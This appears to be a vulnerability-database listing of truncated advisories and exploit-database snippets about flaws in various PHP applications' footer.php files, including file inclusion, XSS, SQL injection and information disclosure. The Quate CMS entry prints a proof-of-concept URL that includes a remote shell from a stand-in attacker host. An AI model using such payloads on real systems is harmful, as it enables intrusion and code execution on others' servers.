EUVD-2007-2231

Malware in sbrugna...

EUVD-2005-3236

Malware in sbrugna...

EUVD-2006-4872

Malware in sbrugna...

Design/Logic Flaw

phpMyAdmin before 4.9.2 does not escape certain Git information, related to libraries/classes/Display/GitRevision.php and libraries/classes/Footer.php...

CVE-2019-19617

CVE-2019-19617 affects phpMyAdmin prior to 4.9.2. The issue is that phpMyAdmin does not escape certain Git information in GitRevision.php and Footer.php, per multiple advisories. Connected documents confirm affected product/version ranges and link to fix/release notes. The Debian entry notes the ...

ShopBuilder 5.6.1 /footer.php 本地文件包含漏洞

No description provided by source...

FlatNuke 2.5.5 footer.php Multiple Parameter XSS

No description provided by source. source: http://www.securityfocus.com/bid/14483/info FlatNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit these vulnerabilities t...

phpbms 0.96 Multiple Vulnerabilities

No description provided by source. phpBMS v0.96 phpbms.org eLwauxc2009, uasc.org.ua http://phpbms.org/trial/ SQL Inj -------------------------------------------------------------------------------------------------------------------------------------------------------------------------...

phpGreetz <= 0.99 (footer.php) Remote File Include Vulnerability

No description provided by source. Author: [email protected] mozi phpGreetz Remote File Inclusion Vulnerability Greetz: Raver phpfreaks eu.undernet.org Greetz: SpiderZ , fUSiON ---------------------------------------------------------------- Download:...

Phorum 3.3.2 Cross Site Scripting Vulnerabilities

No description provided by source. source: http://www.securityfocus.com/bid/4767/info Phorum is a PHP based web forums package designed for most UNIX variants, Linux, and Microsoft Windows operating systems. The 'header.php' and 'footer.php' components of Phorum do not santize the client-supplied...

Build it Fast (bif3) 0.4.1 - Multiple Remote File Inclusion Vulnerabilities

No description provided by source. bif3-0.4.1 = Remote File Include Vulnerablitiy D.Script: http://bif.lunix.com.ar/tgz/bif3-0.4.1.tgz Discovered by: Alkomandoz Hacker Homepage: asb-may.net & mohandko.com & sniper-sa.com ====================================...

Information disclosure

dotproject 2.1.4 allows remote attackers to obtain sensitive information via a direct request to a .php file, which reveals the installation path in an error message, as demonstrated by style/dp-grey-theme/footer.php and certain other files...

Directory traversal

Multiple directory traversal vulnerabilities in Geekhelps ADMP 1.01, when magicquotesgpc is disabled, allow remote attackers to include and execute arbitrary local files via directory traversal sequences in the style parameter to 1 colorvoid/footer.php, 2 default-green/footer.php, 3...

Quate CMS 0.3.5 - Local/Remote File Inclusion

Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg Quate CMS PoC : http://target/path/admin/includes/header.php?securepagepath=http://attacker/shell.txt??? Vuln LFI : ./QuateCMS035/admin/includes/footer.php line 4 PoC :...

CVE-2009-2853

Wordpress before 2.8.3 allows remote attackers to gain privileges via a direct request to 1 admin-footer.php, 2 edit-category-form.php, 3 edit-form-advanced.php, 4 edit-form-comment.php, 5 edit-link-category-form.php, 6 edit-link-form.php, 7 edit-page-form.php, and 8 edit-tag-form.php in wp-admin...

phpbms 0.96 - Multiple Vulnerabilities

phpBMS v0.96 phpbms.org eLwauxc2009, uasc.org.ua http://phpbms.org/trial/ SQL Inj ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- $querystatement="SELECT...

Remote file inclusion

PHP remote file inclusion vulnerability in footer.php in PHP-Crawler 0.8 allows remote attackers to execute arbitrary PHP code via a URL in the footerfile parameter...

CVE-2008-4137

PHP remote file inclusion vulnerability in footer.php in PHP-Crawler 0.8 allows remote attackers to execute arbitrary PHP code via a URL in the footerfile parameter...

Design/Logic Flaw

BilboBlog 0.2.1 allows remote attackers to obtain sensitive information via 1 an enablecache=false query string to footer.php or 2 a direct request to pagination.php, which reveals the installation path in an error message...

CVE-2008-2206

Multiple cross-site scripting XSS vulnerabilities in Maian Music 1.1 allow remote attackers to inject arbitrary web script or HTML via the 1 keywords parameter in a search action to index.php, and the 2 msgscript parameter to admin/inc/footer.php...